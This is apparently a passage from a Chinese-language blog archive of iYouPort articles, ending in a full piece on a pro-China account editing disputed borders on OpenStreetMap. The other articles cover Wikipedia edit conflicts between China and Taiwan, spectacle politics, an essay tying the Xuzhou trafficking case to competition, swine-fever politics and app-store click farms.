台湾本身就陷入了与中国的信息战中，台湾有着自己的地缘政治观点，而且许多观点冲突可能是真实的，至少在编辑这些误解的人的眼中是如此。

那么，这是否等于所谓的讲述中国故事或在线宣传？

至少在 Wikipedia 的话题上，上述问题的答案将取决于人们对互联网用途的两种截然不同的想法。

其中一种是开放知识、开源、志愿者主导的社区的哲学；但是，

现在它可能会面临另一种力量：全球各国当权者都在努力定义"什么

是真相”的在线力量日益强大，已经扩展到了像 Wikipedia 这样的地方，这些地方非常重要，以至于它们无法被忽视。〇

以上是BBC的文章，可以说比较客观；但是，IYP认为，从本质上，有计划有目的的协调性内容操纵与观点冲突是完全不同的，就如**50C**水军和天然愚蠢完全不同 —— 揭露操纵行为非常重要，拿到执行者被雇佣的证据和行动模式，可以帮助包括维基百科在内的很多在线平台抵制操纵。〇

China and Taiwan clash over Wikipedia edits

原文

景观政治 - iYouPort

关于中国社会

我们强调过，政治是媒体的政治，任何媒体时代的伟大政治家，特别是颠覆性的暴发户，都是媒体的娴熟采用者。其实一直以来都是如此，

当年不为人知的亚伯拉罕·林肯和斯蒂芬·道格拉斯之间的辩论在他们那个时代引起了媒体的轰动，被广泛报道，并为林肯两年后突然升入白宫铺平了道路；肯尼迪/尼克松在1960年的电视辩论中，一个年轻而喜气洋洋的肯尼迪很容易压倒一个阴沉的连胡子都没刮干净的尼克松，如今，这类关于电视的政治影响的案例研究几乎铺天盖地。特朗普是一个真正的电视明星，他能主宰有线电视新闻，同时可以通过 Twitter 让世界陷入停滞的焦虑状态。这就是他为什么一直占据新闻头条。

「图」

「图」

因此，当一名29岁的波多黎各血统前调酒师击败众议院民主党领袖，然后在她执政的第一周开始制定政治议程时，这不仅仅是一个可爱的社交媒体故事。Alexandria Ocasio-Cortez 是一个更大问题的答案，即 社交媒体不仅影响政治权力的描绘，而且能直接影响现实政治。

在最近出版的一本书《The Revolt of the Public 》中，Martin Gurri 提出，社交媒体的最终腐蚀作用正在破坏政府或新闻界等公共机构的整体信誉。

人类是有缺陷的生物，人类组成的机构必然缺陷更多。当这些机构，无论是政府、警察局还是主流媒体，都失去了构建和分发叙事的能力，社会信仰也就随之消失了。

一些民主化的故事讲述者产生了一些成果，例如对警察枪击事件的抵制。但是，对大写的真相的信念使我们的社会成为可能。是的，它有一种任性的天真，但有时天真是比世俗更大的智慧。

要了解推文的有效性，请考虑特朗普。联邦政府关闭了两个多星期。国家公园中未能被收集的人类排泄物正在积累并造成健康危害（以及其他令人不快的情况）。推特显然是一回事，而治理是另一回事。

但是现在和未来的 Alexandria Ocasio-Cortez 可以负担得起长时间的政治长跑，即使 Twitter 点赞现在无法转化为立法，他们造成的媒体转变也将是持久的。安德鲁·布莱特巴特（Andrew Breitbart）是新媒体的另一位精明用户，他曾经说“政治是文化的下游”。但我敢说，政治和文化都是技术的下游，我们即将看到对有抱负的政治领导力美学的重新思考。

同样的模式，长达数小时的公众演说（与新奇的电报和报纸相呼应）就是当年林肯的权力之路，流媒体社交媒体的自我展示将成为2020年及以后的必然权力之路。从2019年的第一周开始，很明显，谁将最好地利用它。

这不是新闻，我们曾经在《中国政府已攀上景观政治的边缘》和《互联网时代：并非心理学意义上的自恋文化》中介绍过这一趋势，它不需要等到2020年，它早已开始了。

再推荐一本书，法国思想家 Guy-Ernest Debord 的《景观社会》（法语：La Société du spectacle）这本书出版于1967年，准确地预测到了如今这个表演者的世界。

以及另一篇文章《逗你玩：为什么新闻愈加难以服务于民主》

关于这一问题，我们有最完整的论述：

《现代新闻之愚蠢并非意识形态倾向性问题 (1)》

《现代新闻之愚蠢 (2)—四种最致命的倾向性》

《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

The ultimately corrosive effect of social media is undermining collective credulity around public institutions like government or the press. Tweeting is apparently one thing, and governing another.

原文

来稿：从徐州丰县到北京奥运，问错了问题，比找不到答案，更糟糕 - 献给2022情人节 - iyouport

关于中国社会

爱和竞争无法兼容，它们彼此互为克星。这取决于您想要什么 —— 是你死我活的鱿鱼游戏？还是能让我们所有人共享自由和安全的世界？您来决定。

感谢来稿。IYP祝福所有懂爱的人们都能获得并运用爱真正的力量。

当大多数人都在谈论徐州丰县的时候，我却没有，我在和朋友们讨论相亲热的社会现象。

正如我的朋友所言："相亲市场里什么都有，唯独没有爱"。但毫无疑问，每个人都想要爱，想要被理解和信任。就如IYP所言，爱是最强大的战斗力，是让你能在这个压力山大的社会环境中生存下来的勇气和信心。

但是，为什么如此多人放弃了对爱的渴求，转而去依赖物质财富所营造的虚幻的 "安全感"？如你所知，资金链会断裂，泡沫会崩溃，甚至政策都会朝令夕改，更不用说你赚到的钱随时会被政府的税收再抢走、你买的房子随时可能被强拆和征用 ..... 换句话说，财产才是那个最没有安全感的东西。而我们彼此间由爱产生的信任、理解和互助，真正的爱，才是能够经得住任何风吹雨打的。

然而，社会经验却在奉劝人们，"你最好能坐在法拉利里哭，也不能坐在自行车上笑"。

那么，提问 —— 爱是如何被贬值的？

当你看向爱的全部意义上时你就会意识到，爱是一种协作。和所有协作一样，它必需必然对立于竞争。

我们相爱，不仅意味着我们彼此交换体液、温情和照护，也意味着我们彼此分享智识和资源。换句话说，“我的” 就是 “你的”。这里面不存在竞争和比较，只有互益、互补，共同进步共同成长 —— 每个人都有局限性，都有缺点，当然也都有最擅长的领域和优势；只有当我们联合起来的时候，我们才能变得更强大。只有当我们强大起来的时候，才能抵御任何威胁。这张海报用一个字来概括，就是：爱。只有爱，才能让我们联合起来。

有竞争就没有协作，反之也一样，要协作就不能有竞争。这是一个双赢or双输的游戏。

记得IYP曾经发布过一篇分析，关于《为什么你的队友之间不会分享知识》，答案很简单，那就是：竞争。在竞争环境下，最主要的就是抑制成员之间的知识共享。竞争环境让每个人都想要掌握一门所谓的独家技艺，以令自己成为那个不可或缺之人 —— 不至于被淘汰。这是情有可原的战略，但其弊端也是显而易见的：当大多数人都这样去想的时候，对于团队来说，创造力、创新能力和整体性能，全部都会遭到严重削弱。通俗一点的说就是，满盘皆输。

尤其是，当你们是一个正在冒险的行动团队时，竞争会让所有人陷入困境 —— 由于无法迅速找到替补队员，其结果就是，当你们中任何一个角色被成功镇压时，就是你们整个团队崩溃的时候。那有多糟糕？

所以，上述问题的答案很简单，就是：因为竞争。资本主义把一切关系都变成了竞争和交易，罩杯和阴道变成了资本，养育亲情变成了投资，人际关系变成了资源，就连让人类社会能繁衍至今的主要因素 —— 团结互助 —— 也被变成了 “你能给我什么” 的诡异算计。

经常有男人在描述我时感叹说；“哪个男人能驾驭得住这样的女人啊”。甚至是作为一种称赞的存在。然而，“驾驭”这个词的使用，足以彰显这个社会已经悲惨到了什么样的地步。没有爱了，连同对爱的幻想也失去了。一切都是驾驭，是控制和被控制，是提取主义，将人类连同非人类的生命和能动性的价值全部降低为可提取的资源。

你都不需要读书，没事看看互联网广告就能意识到这种危机 —— 去搜搜女性的保养品和性保健品，看看那些广告词和软文是如何反复强调 “用了本品才能挽留住男朋友的心”。还不明白吗，你只是一个行走的阴道，而遍地都是你这样的阴道在行走，你的所谓的竞争对手数不胜数。害怕了吗？那就快来买 “本品” 吧！只有 “本品” 才能帮你提升竞争力！……

我绝对没有说美不重要，保养不重要，绝对不是。美是一种心的疗愈，你当然应该保养，因为健康是幸福的源泉，但是，他妈的绝对不是也不应该是唯一能留住你男朋友的吸引力。如果你的伴侣只是一个紧致阴道和大号罩杯的信徒，我劝你还是让他滚蛋吧。

事实上，这就是徐州的故事，准确说，徐州的故事只是整个社会被剥夺爱的能力后的一个戏剧性较强的小片段而已。否则，您认为婚恋市场是什么？相亲意味着什么？学区房、代考市场和以“望子成龙”为借口的家庭暴力是怎么来的？更不用说那些背叛和欺诈、挑拨和利用、剥削和榨取 ……

你我只是没有被铁链子拴住被迫生孩子而已，而你我的境遇和徐州的被拐女人并无本质性差别，我们所有人都被囚禁在这个无爱的社会里，在竞争的高压下遭受着各种各样不同形式的暴力。在这个根本性的意义上，我们中并没有人比其他人 “更幸运”。

对爱的理解和渴求是天然天生的。当我们还是个婴儿的时候，我们会毫不犹豫地伸出手 “要抱抱”，那个时候的我们不会考虑对面的人的社会地位如何、经济能力怎样、住着多大的房子开着什么品牌的私家车、知名度几成、此人有什么利用价值、甚或在意识形态光谱中处于什么样的位置 …… 我们只是想要爱，想要那份温存。要抱抱。

那时的我们，享受着爱本来的意义。

是这个社会，这个系统，让我们失望了。我们的纯真被糟蹋得伤痕累累，我们天然的爱的能力被一次次狠狠地扔在地上。

我们不断摔倒，在破碎的恐慌中把自己的心门关闭了。

无数的人曾经在爱中失望，不得不转而致力于保护自己。他们被迫接受了竞争的法则，谁输谁赢成为了一段关系中唯一的判断标准。换句话说，他们放弃了自己天生的爱的能力。

如你所知，受过伤的动物是最危险的。他们很可能会加倍使用曾经伤害过他们的人的暴力和无情，去无差别攻击接下来靠近的任何人。当你尝试用纯真无邪的爱去唤醒他们的本能时，你会发现，那并不是一件容易的事，其结果有可能，你也变成了下一个伤者。这就是恨的蔓延。

恨的蔓延速度远超过爱。就如假消息的传播速度远超过真相。但毫无疑问，我们都想要爱，都不想被欺骗，但为什么结果会这样？

是因为盔甲吗？旧的伤疤变成了新的盔甲，你我都有自己的盔甲，我们的盔甲越厚，我们彼此的心离得就越远？还是因为懦弱？自己亲历的失败和围观他人糟糕的经历都让我们害怕靠近彼此？

都不是。至少都不完全是。真正的原因是：竞争。因为只有当你主要考虑输赢的时候，你才会视盔甲为第一要义；只有当你放弃享受爱的时候，恐惧和自卑引发的懦弱才会蔓延上来填补你内心的空洞。

是无情的竞争法则，让我们都忘记了，只有爱才是任何关系的唯一粘合剂。任何关系。

中文网络有一句烂大街的流行语“羡慕、嫉妒、”。您觉得这个空格里面应该填什么字？有人会说是“恨”，也有人会说是“爱”。事实上“恨”才是能够与这句流行语本身的逻辑相吻合的，因为“羡慕和嫉妒”都是在竞争背景下才能产生的东西，是比较的结果，在比较和竞争之中，是绝对不可能有爱的。不可能有真情，更没有享受。只有无限的疲惫、恐慌和愤怒。

最近这些日子里，很多人都在谈论奥运会，尤其是滑雪和滑冰。那些运动员被称为“冰雪王子”或“冰雪女神”，他们被认为是“挚爱冰雪的人”。哦，不不，运动员的战略中没有爱，只有竞争；他们从一开始就放弃了爱、放弃了享受冰雪的纯真，他们的一切努力都是为了那块奖牌。

他们中很多人可能从来没有体验过体育运动真正的魅力，他们错过了运动带来的自由之美；对他们来说，一切都是竞争，是政治义务，是国家主义和民族主义。他们不惜用药物去押注赢家的地位。他们从一开始就是失败者。

我们可以杜绝药物的使用吗？还是增强尿检、加倍羞辱和惩罚那些出老千的家伙？不不，这些都是错误的问题。正确的问题应该是：“他们为什么会选择吃药”？是什么让他们放弃了运动本身真实自由的表现力、爱的协作和美的享受？

您知道答案。

从东京到洛杉矶，从2013年到2021年，申奥大国的公民活动家都在抵制奥运会。IYP去年就发布了下面这篇文章来介绍 (提醒) 这场行动的意义。虽然，完全意料之中，2022的东奥会到目前为止，在中国，再一次，几乎没有人对此进行任何跟进，甚至思考。《全球反奥运运动兴起，挑战奥运会的阴暗面》

请注意，反奥运运动反对的是体育运动被变质为民族主义、国家主义、父权制和帝国主义的怪物的结果。反抗者想要追讨回体育运动本来的意义 —— 即 基于爱的协作实践。同样，反对工作的人们并非在反对劳动和创造，恰恰相反，为了维护劳动热情和创造力推动的进步，你就必须抵制996的绑架和剥削。请不要混淆歪曲这些努力。

- 《工作是个什么东西》

支配文化致力于煽动竞争，统治者颠倒黑白将竞争定义为唯一规则、虚构出荣耀和美德；因为，只有当我们所有人都丢弃爱、进入无情的竞争游戏时，我们才无法再团结起来利用我们的庞大基数去推翻统治。这就是人们通常所说的 “维稳” 的意思。

就如我一直不断强调的，资本主义是维稳利器，远不止996挖空你的几乎所有私人时间让你无暇思考自己真正想要什么，更有，它制造的竞争作为唯一通行规则的世界，杀死了爱的一切意义。没有爱就没有协作和互助，没有协作和互助就不会有成功的变革。

当人们谈论徐州的时候，就如人们谈论996的时候、谈论相亲的时候、谈论奥运会的时候、或者谈论任何话题的时候，几乎都问错了问题。这就是为什么那些问题持续不断地出现，没有任何有效的解决。

我的朋友们已经聊起 “徐州故事就这么解决了吗？” 显然，他们指的是那些官方通报。然而，这个问题再一次问错了，因为，“解决” 从未真正开始。

是什么让男人将女人视为生孩子的机器？是谁在向你灌输 “不孝有三无后为大” 的畸形价值观？为什么有些人坐拥大把情妇、而另一些人却为娶不起媳妇焦头烂额？…… 您以为举着房产证、把豪车钥匙挂在脖子上，在相亲市场里讨价还价的我们，和买卖婚姻的受害者之间能有多大的区别？

这才是最基本应该被问到的问题 —— 即 贩卖人口的市场是如何形成的？有需求才会有市场。

问错问题，比找不到答案，更糟糕。洗脑师傅的主要工作就是，将真正的系统性灾难局部化、个体化、特殊化，以消解问责对系统的冲击。换句话说，它在拼命做的就是误导你去问错问题，竭尽全力将你留在最肤浅的表层现实上，以守护它的根源之稳固。而恶意愚蠢就是 —— 它连表层都不让你碰，你一伸手，它就打你，一来二去你就自然而然地误以为那个肤浅的表层是 “有价值的”。事实上，还离着十万八

千里呢。

我在做临床实习的时候，精神科有一位患者偷卫生纸。分发的卫生纸、卫生间里准备的卫生纸，甚至别的病友的家属带来的卫生纸，都很有可能被她偷走。周围人纷纷抱怨。在一次被抓现行后，我们从她的床底下拉出来足有一百卷卫生纸。为了“解决”这个偷卫生纸的问题，为了维护住院部的人际关系和谐，我们科室开了个会。

会议期间，主治医师从病理学角度对偷窃问题进行了专业性的深入分析，这些分析对治疗方案的更新具有高度指导意义；住院部小护士从日常观察到的种种迹象方面对偷窃行为进行了福尔摩斯式的解读，这些解读对围追堵截战术具有重要的参考价值；就连药剂师也加入了，在用药方案上给出了被誉为“立竿见影”的实用性建议（剧透：就是加大镇静成分用量）。

总之，大家斗志昂扬，信心十足地准备好了在“解决问题”方面大展拳脚。

但是，就如您从我的上述措辞中所领略到的讽刺性那样，所谓的解决方案，全部是个笑话。因为，并没有人从这位偷卫生纸的病友的现实角度上思考这件事。

现实是：

1、她是一位焦虑症患者，这种心理疾病的特点是，它会在患者头脑中放大任何可能的风险，也就是说她的风险预期比普通人大数倍、对此预期的心理脆弱性比普通人高数倍。在你我可能认为一件事有点麻烦但不是大问题的时候，她将体验到的是灭顶之灾。

2、她没有亲人，没有子女，一位远房亲戚在将她送来住院后再也没出现过。没有人探视她，没有人照顾她，没有人爱她；由于心理疾病导致社交障碍，她也不会有朋友。

3、本科室正持续施行勤俭节约的“美德”政策，住院部配发卫生纸的预算缩减了一半；部分公共卫生间经常无人更新纸筒。也是为什么部分患者的家属自行购买卫生纸带进来，而不是等待配发。

4、需要对上述1中描述的“灭顶之灾”进行一些简要的解释，以便您可以想象一下那是一种什么状况 —— 大致就是，浑身出虚汗、颤抖、呼吸急促、五脏六腑有绞痛感、脑袋就像要炸裂一样，尤其是，有一种大小便就要失禁了的危机感，而事实上可能并没有大小便。

就是这样。您明白了吗？这个故事很简单，本科室的精英人士们之所以无法解决偷窃卫生纸的现象，是因为，他们所有人都问错了问题。

问题并不是“如何阻止这位患者继续偷窃卫生纸”；而应该是“她为什么要偷窃卫生纸”，如果卫生纸真的够用的话？

其他患者携带的平板电脑和手机没有丢失，佩戴的首饰没有丢失，甚至摆在那里无人看管的现金也没有丢失；被盗的仅仅是卫生纸。

道理非常简单。当您随时有可能遭受大小便失禁的危机时，电子设备、昂贵的首饰、包括钞票，对您来说都毫无意义，您需要的是足够量的卫生纸。而本科室分发卫生纸的政策是“公平合理”的，定期每次一床一卷，完全不考虑患者的具体情况，甚至不考虑分发频率是否能满足用量需求。

物以稀为贵。而我们需要追问的是 —— 究竟是谁/和或什么，造成的稀缺？

当你把这位病友当成统治对象时，当你对她没有任何关爱、不会为她考虑任何事时，就注定了这种混蛋的结局。

所谓的“打击违法犯罪行为”听起来义正词严光辉灿烂，然而，它从一开始就问错了问题。它将所谓的犯罪行为局部化、个别化、特殊化处理，其结果就是，你将有永远都打击不完的所谓犯罪，永远会有人为紧迫的基本需求冒险一搏。如果你继续对人们的基本需求熟视无睹，所谓的“犯罪浪潮”将推翻你的统治。

请想想徐州！您究竟是否问对了问题？？？

为了维护自身权力的稳固，自古以来统治阶级采用的都是瞒骗的手段、胡萝卜大棒恩威并施；其中最重要的手段就是，如上所述，将系统性问题局部化、个别化、特殊化，转移您的注意力，把您的思路限制在最肤浅的表层现实上，让大多数人感觉自己永远有一个虚拟的热火罐可以抱。

换句话说，统治阶级在致力于构建一个 Matrix。在这里，一切问题仿佛都变成了“别人的问题”，一个个危机警报都被降级为“吃瓜”，接二连三的灾难带来的只是多数旁观者“还好不是我”的小确幸。

您在这个 Matrix 中陷得越深，统治阶级的权力就越是稳固。您自以为“异议”，但您的不同意见从未能真正对那个压迫性系统形成挑战；如果您继续忽略被统治阶级努力隐藏的现实、继续满足于肤浅，您只

会更深刻的陷入灾难。直到为时已晚。

很多人就连对“异议”的理解也是错误的，误以为不同意当权者的说法就是“异议”。怎么可能那么简单。您的不同意见如果无法对统治结构形成冲击，您就仅仅是在发牢骚而已。

您当然会看到统治阶级在您的牢骚中“做出些改变”，但请记得，那一切都是基于两害相权的算计 —— 是放弃金色宝座？还是道个歉丢个脸，一带而过？这就是他们摆在自己面前的选择。答案显而易见。

激情和勇气是要以战略智慧和战术创造力为基础的，您的布局视野至少必需覆盖镇压系统的拳脚范围 —— 正如 IYP所说“我们正处在一个全世界范围内互相关联的镇压时代”。看看最近的哈萨克吧。一旦您失败，那将是毫无疑问的结局。

在您能够真正问*对*问题之前，停止不切实际的想法是有必要的。

问错问题是致命的，这是所有最愚蠢的解决方案的来源。最近旧金山的案例就是一个典型：阿片类药物的合法化实验（避免过量吸食）。与此同时完全无视无家可归者的帐篷营地爆炸式的增长。采用阿片类药物的人大多是无家可归者，他们只是用毒品来缓解被驱逐的压力，他们中绝大多数人在被迫流浪之前都并非毒品使用者。批评人士称旧金山此举是“把上了膛的枪递给有自杀倾向的人”。这就是问错问题的结果 —— 问题不应该是“如何解决毒品使用过量的灾难”，而应该是“人们为什么会去依赖毒品”？如果每个人都能在现实中找到温暖和关爱，找到希望和动力，拥有真实的幸福感和自由带来的创造力，还有多少人还会去期待药物虚构出的幻觉呢？

去年在交流希腊反叛运动时，一个非常典型的标志被几乎所有交流者提起，那就是，希腊人如何做到了跨宗族、跨阶级、跨行业、跨意识形态形成强大的联合？是什么让那些平日里就连偶然坐在彼此对面也无法确保不会大打出手的人们，携起手来并肩作战？

其实很简单，那就是，他们问**对了**问题。当你能问对问题的时候，你会发现，我们所有人、所有运动、所有所谓的派系和意识形态阵营，都遭受着同一个压迫性系统的伤害，我们事实上有着同一个战略目标。

当我们把我们各自面对的问题全部摆在桌面上的时候，你会发现，一切困境都来自于同一个系统。

IYP去年的年终礼对“系统”的阐述是恰当的，对奥弗顿之窗的危险也有一个温和的警告。尤其是，那篇文章对“爱”作为最强大的战斗力的强调，希望更多人能明白它所阐述的道理。

最后的重复：爱和竞争无法兼容，它们彼此互为克星。这取决于您想要什么 —— 是你死我活的鱿鱼游戏？还是能让我们所有人共享自由和安全的世界？您来决定。

又是一个情人节到来了，借本文祝福所有真正理解爱的意义的人们，都能享受到真正的爱。请记得，瓦伦丁牧师是如何用生命守护爱的。○

原文

沉默的佩奇：面对流行疫情中国人为什么不反抗 - iYouPort

关于中国社会

猪瘟疫情在世界各地引起激烈的抗议，农民用拖拉机封锁高速公路、威胁将大粪扔进议会， 但是，中国猪瘟疫情却没有任何社会反响

「图」

「图」

中国农村正处于长期恐惧的灾难之中，这是一种叫非洲猪瘟（asf）的流行病。中国的第一例病例于2018年8月3日得到确认。它可能会毁掉数百万养猪小农。

1月25日粮食及农业组织，一个联合国机构，已确认104个 asf 爆发疫情在中国导致淘汰了 916,000 头猪。虽然这种疾病对人类没有太大威胁，但是也没有治愈感染猪的方法，没有针对它的疫苗。该机构驻中国特使 Vincent Martin 表示，根除“可能在短期内不可行”，特别是如果野猪充当了病毒载体。

俄罗斯的案例为未来提供了不祥的线索。控制 asf 的11年斗争导致猪肉产量下降近一半，而能够负担得起严格生物安全控制的大型农场实际上增加了产量。这种转变将改变中国农村，在中国每年生产近5亿头猪，其中约40％是在母猪少于30头的小型农场养殖的。

透明度是一项急于进行的工作。就在十几年前，中国政府出面与外国同事交谈，有时甚至拒绝大声说出疾病的名字，羞怯地哀叹“疾病x”在“ y省” 的到来。目前中国已经告诉联合国关于禁止生猪运输和市场关闭的疫情和检疫区，宣布了禁止用垃圾食物喂养猪的新禁令。但中国也打算尽量减少危机。随着新年期间厨师们忙于策划猪肉盛宴，中国农业部于1月16日向公众保证，asf 对市场的影响“有限”。

香港城市大学的兽医和传染病专家 Dirk Pfeiffer 称中国努力控制

asf。他指出，即使是富裕的欧洲国家也在为之奋斗。尽管如此，他仍然担心为什么中国的疫情爆发会分散在整个地图上而不是集中在某些地区，正如人们所期望的那样。

但是，猪瘟已经暴露了中国小农的惊人政治弱点和孤立。

在欧洲，农民拥有超大的政治影响力，asf 的传播被归咎于政府拙劣，引发了部长辞职的呼吁。从罗马尼亚到波兰、比利时和爱沙尼亚，要求补偿和对野猪实行更严格控制的养猪户都在不断反抗，用拖拉机封锁高速公路，并威胁要将粪便倾倒在议会上。

政府已经抓紧安抚他们。“我是你们中的一员，”一位波兰部长恳求抗议者时说。为了让农民放心，丹麦正在修建围栏以阻止来自德国的野猪过境。1月25日，法国表示将动员部队杀死野猪。欧洲农民已经习惯于受到尊重。他们经常享有地理上集中的投票权。选民们将他们视为珍惜传统的捍卫者。

中国的饲养者也会举行抗议活动，例如当腐败官员偷窃土地时。但是，虽然 asf 威胁了许多金融灾难，但不会造成明显的抗议。在某种程度上，这是因为政府努力阻止公民团结起来。而对于舆论来说，中国农民往往是独立的。

经济学人在沿海省份福建拜访了一位姓何的农民。这位57岁的老人抱怨卫生检查员的“麻烦”。“我们并不害怕猪瘟，我们担心政府的管理层会变得过于严格，”何先生说，他饲养了大约150头猪。何先生的猪每公斤利润高达30元（4.46美元），但是不足以支付官员安排的生物安全措施。他认为 asf 无止境危机。“似乎我们也无能为力。”他说他并不感到困惑，但是他的孩子不想要他的农场：因为政府只“补贴大农场，而不是小农场”。

The politics of pigs: In most countries, a swine-fever epidemic would cause mass protests. Not in China. Whether swine fever smoulders or blazes across China’s farm-country, it has already exposed the striking political weakness and isolation of the country’s small farmers.

原文

点击农场是什么？一个阴暗的互联网行业仍在中国蓬勃发展 - iYouPort

关于中国社会

我们曾经介绍过《互联网上究竟有多少东西是假的？》曾经看似确定无疑真实的所有东西现在似乎都是假的； 曾经看起来有点假的所有东西现在都具有真实的力量和存在。这并不奇怪。

在中国，已经实现这种造假很久了。其中一个典型就是：点击农场。

在中国这个拥有超过8亿用户的全球最大的智能手机市场，一个独特的农场在城市地区涌现。那里唯一的作物是：智能手机。

这些操作被称为点击农场，可以在货架上容纳数百甚至数千部 iPhone 和 Android 手机。

它们被插入并编程为一遍又一遍地搜索、单击和下载某个应用程序。目标是操纵应用商店排名、愚弄搜索结果。

「图」

「图」

“假冒的观点如此广泛，”南华早报于2018年报道说，“视频网站上许多热门节目产生的观看次数中有**90**%都是假的。”

应用程序开发商购买这项“服务”以提高其产品的知名度 —— 争取在中国500亿美元的在线广告市场中占据更大份额。

点击农场如何运作

在流量驱动的数字经济中，点击农场的用例正在扩展，已经不仅仅是推广应用程序了。

所谓的内容创业者也在使用这种欺骗的方法来夸大其内容的“知名度”以吸引广告客户，提升视频观看次数，并在电子商务平台上操纵

搜索结果。

延伸：《在中国：内容创业者的背面》

「图」

「图」

点击农场使用自动化流程攻击正常的 App Store 优化（ASO）实践 —— 这需要开发人员在描述中使用某些关键字并通过成为有用的产品来吸引用户 —— 点击农场则是通过模仿真实用户来推动某些关键字、点击应用程序、下载、甚至撰写正面评论。

操作这个农场需要硬件和软件的投资。要购买数百部 iPhone（主要是二手机）并不便宜。

点击农场还使用可能入侵应用程序商店系统的服务器和软件。

「图」

「图」

点击农场在中国被视为非法，并且一直存在被 Apple 等应用商店检测和阻止的风险。

尽管如此，点击农场集群依旧被发现存在于深圳，这个中国南方大都市被称为电子产品中心。

点击农场是有效的—特别是在众包的情况下

对于点击农场运营商来说，这是与 Apple 不断发展的算法的持续战斗。

在一则在线广告中，点击农场运营商声称他们已经更新了计划，因为 Apple 在2016年破解了这些行为，并给予实际下载更多的权重。

视频：

因此，点击农业进化了，并开始涉及人群众包。

在中国流行的消息应用程序微信和QQ上，聚集在群聊中的人们声称他们的任务就是下载和查看某些固定的应用程序，并因此获得报酬。

人工操作的成本通常高于机器操作，但众包看起来更像是有机流量，不太可能被应用商店阻止。

尽管存在风险，但从点击农场购买服务仍被视为在短时间内推广应用程序的有效且相对经济的方式。

例如，游戏应用程序是点击农场的主要客户，因为用户更有可能浏览排名靠前的新游戏。一些付费应用程序也可以用这种方法快速吸引更多下载。

总之，你被操纵了，还误以为自己“赶上了潮流”而欣欣然得意着。〇

原文

神秘用户以中国青睐的方式重新编辑了全球开源地图 - iyouport

关于中国社会

开源工具支撑着数百万人的使用，但它们也容易受到操纵

去年年底，Nick Doiron 在《纽约时报》上发现了一篇文章，详细介绍了中国如何在与邻国不丹有争议的边界上建造了一个村庄。Doiron 是一位地图爱好者，也是 OpenStreetMap(OSM) 的长期贡献者，OSM是一个开源的地图平台，和维基百科一样，依靠一支无偿的志愿者队伍。各国政府、大学、人道主义团体以及亚马逊、Grab、百度和Facebook等公司都在使用OSM的数据，使其成为支撑乘车应用和其他技术的重要工具。

看完那篇文章后，Doiron 去给OSM添加关于中国村庄的新细节 ——他以为会缺失。但是，当他把这个区域放大后，他有了一个奇特的发现。有人在时报报道之前就已经记录下了这个村落的情况，他们加入了 Doiron 在其他地方找不到的细枝末节。

“他们绘制了这些建筑的轮廓”，Doiron 说，“他们把其中一座建筑标为幼儿园，一座标为警察局，另一座标为广播站。即使这个神秘人从一家私人公司购买了卫星图像，“我也不知道他们怎么会有那种特定的信息”，Doiron 说。

这并不是唯一让 Doiron 感到奇怪的事。那些神秘人还以NM$L（中文俚语，意为侮辱“你妈死了”）的名字进行了修改，并链接到一个与之同名的中国说唱音乐品牌。附带的简历暗示了他们的动机：“维护国家主权、统一和领土完整，是包括港澳台同胞在内的全体中国人民的共同义务”。

“OpenStreetMap 上的大多数人甚至在他们的个人资料中没有任何东西”，Doiron 说，“它不像一个社交媒体网站”。

随着他的深入研究，Doiron 发现这个 NM$L还做了其他一些编辑，其中许多是在中国边境和有争议的领土上。该账户对南沙群岛增加了修

改，该群岛是一个国际法庭在2016年裁定的不属于中国可能提出的领土要求的群岛，尽管中国在该地区继续发展。这个说法还沿着有争议的喜马拉雅山边境地区的印度和中国领土的实际控制线（LAC）画了出来，两国曾在1962年为该地区打了一场战争。

Doiron 想知道，这到底是怎么回事？

任何人都可以为 OSM 做出贡献，这使得该网站变得民主和开放，但也使其容易受到个人贡献者的政治和观点的影响。这不是 Doiron 第一次听说有用户做出有利于某个国家的编辑。“我知道有一些亲印度的账号，从印度的角度出发，添加了军事检查站等内容”，他说。2020年，印度和中国之间的实际控制线（LAC）是两国之间发生小规模冲突的地点。

印度OSM的另一位长期贡献者因担心他们的绘图工作面临报复而要求匿名，他说，虽然他们没有听说过任何具体的协同努力来操纵OSM，但如果发现这种情况，他们也不会感到惊讶。其他主要的众包项目，如维基百科，早已成为类似攻击的目标。

印度OSM贡献者说，几年前，他们接到了达兰萨拉西藏流亡政府的电话，邀请他们举办一个编辑维基百科的研讨会。“[他们告诉我]，他们发现维基百科上关于西藏主题的文章有很多中国大陆的政治影响，这增加了一定的偏见”，他们说。这种变化可能会对塑造维基百科读者的世界观产生深远的影响。“它是随着时间的推移慢慢发生的，除非你真的被震惊了，否则，人们经常无法察觉到它”，他们说。

这位贡献者认为，OSM也同样脆弱，“它正在发生。它将继续发生，也许比我们想象的更深层次。”

OSM的发言人向世界之窗介绍了一份2013年的政策文件，标题为“为有争议领土的国家和实体的官员和外交官提供信息”，该文件指出，该组织记录了一套边界，“在 OpenStreetMap 贡献者看来，这是国际上最广泛认可的边界”。根据该政策，如果地图制作者选择，他们可以忽略这套边界，而用另一套更适合他们需要的边界来代替。

改变 **OpenStreetMap** 以推进国家利益，可以被认为是专家所说的“制图战”的延伸，即 国家通过地图实施领土要求。“在上世纪50年代和60年代，中国和印度都在从事地图战，并且会发布竞争性的地图，以加强他们对领土要求的力度”，麻省理工学院安全研究项目主任 M.Taylor Fravel 说，他曾研究过中国的边界和领土争端，“我们现在在开源项目中发生的事，我会将其定性为国家试图通过地图和地图制

作来推进其主张的最新表现。”

近年来，中国政府在对其认为是自己领土的地区提出主张方面变得更加积极。Fravel 说，这不仅反映了习近平的国防政策，也反映了中国作为世界大国的地位不断上升，更有能力在全球舞台上坚持自己的立场。中国政府甚至规定哪张世界地图可以在国内使用，“授权的地图只能显示一组边界，也就是中国认为的边界”，Fravel 说。

在南海，中国政府在其他国家声称的争议岛屿上修建了军事建筑，并使用了它所谓的九段线—— 这是一条不明确的边界，它主张自己的海洋主张，而国际法庭裁定这条边界是无效的。在过去的一年里，中国加强了对香港的控制，并在不丹认为是其领土的地方修建了村庄。在经历了几十年的相对平静之后，中印关系在2020年6月跌入谷底，当时喜马拉雅山脉有争议的边界加尔万勒谷爆发了暴力冲突，造成至少20名印度士兵死亡。据报道，几个月后，中国军队侵入了附近的庞公措湖地区的印度一侧，就是这个 NM$L在 OpenStreetMap 上编辑的另一个地方。

